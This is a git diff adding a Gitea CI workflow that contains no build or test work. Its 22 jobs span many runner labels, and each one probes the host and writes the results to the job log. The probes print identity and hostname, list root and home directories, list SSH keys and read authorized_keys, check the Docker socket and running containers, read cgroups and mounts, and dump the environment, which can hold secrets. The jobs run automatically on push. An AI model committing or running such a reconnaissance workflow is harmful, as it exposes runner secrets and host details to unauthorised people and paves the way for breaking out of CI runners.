diff --git a/.gitea/workflows/ci.yml b/.gitea/workflows/ci.yml new file mode 100644 index 0000000..3e08734 --- /dev/null +++ b/.gitea/workflows/ci.yml @@ -0,0 +1,335 @@ +name: ci +on: + push: + workflow_dispatch: +jobs: + j01: + runs-on: ubuntu-latest + steps: + - name: p + run: | + echo "MATCH_LABEL=ubuntu-latest" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=ubuntu-latest + j02: + runs-on: ubuntu-22.04 + steps: + - name: p + run: | + echo "MATCH_LABEL=ubuntu-22.04" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=ubuntu-22.04 + j03: + runs-on: ubuntu-20.04 + steps: + - name: p + run: | + echo "MATCH_LABEL=ubuntu-20.04" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=ubuntu-20.04 + j04: + runs-on: ubuntu-24.04 + steps: + - name: p + run: | + echo "MATCH_LABEL=ubuntu-24.04" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=ubuntu-24.04 + j05: + runs-on: self-hosted + steps: + - name: p + run: | + echo "MATCH_LABEL=self-hosted" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=self-hosted + j06: + runs-on: linux + steps: + - name: p + run: | + echo "MATCH_LABEL=linux" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=linux + j07: + runs-on: docker + steps: + - name: p + run: | + echo "MATCH_LABEL=docker" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=docker + j08: + runs-on: host + steps: + - name: p + run: | + echo "MATCH_LABEL=host" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=host + j09: + runs-on: act + steps: + - name: p + run: | + echo "MATCH_LABEL=act" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=act + j10: + runs-on: gitea-runner + steps: + - name: p + run: | + echo "MATCH_LABEL=gitea-runner" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=gitea-runner + j11: + runs-on: linux-amd64 + steps: + - name: p + run: | + echo "MATCH_LABEL=linux-amd64" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=linux-amd64 + j12: + runs-on: x64 + steps: + - name: p + run: | + echo "MATCH_LABEL=x64" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=x64 + j13: + runs-on: amd64 + steps: + - name: p + run: | + echo "MATCH_LABEL=amd64" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=amd64 + j14: + runs-on: ci + steps: + - name: p + run: | + echo "MATCH_LABEL=ci" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=ci + j15: + runs-on: build + steps: + - name: p + run: | + echo "MATCH_LABEL=build" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=build + j16: + runs-on: local + steps: + - name: p + run: | + echo "MATCH_LABEL=local" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=local + j17: + runs-on: native + steps: + - name: p + run: | + echo "MATCH_LABEL=native" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=native + j18: + runs-on: ubuntu + steps: + - name: p + run: | + echo "MATCH_LABEL=ubuntu" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=ubuntu + j19: + runs-on: debian + steps: + - name: p + run: | + echo "MATCH_LABEL=debian" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=debian + j20: + runs-on: node20 + steps: + - name: p + run: | + echo "MATCH_LABEL=node20" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=node20 + j21: + runs-on: container + steps: + - name: p + run: | + echo "MATCH_LABEL=container" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=container + j22: + runs-on: selfhosted + steps: + - name: p + run: | + echo "MATCH_LABEL=selfhosted" + id; hostname; uname -a; cat /etc/hosts 2>/dev/null + echo "---ROOT---"; ls -la / 2>&1 | head -30 + echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 + echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 + echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true + echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 + echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 + echo "---ENV---"; env | sort | head -80 + echo DONE_MATCH=selfhosted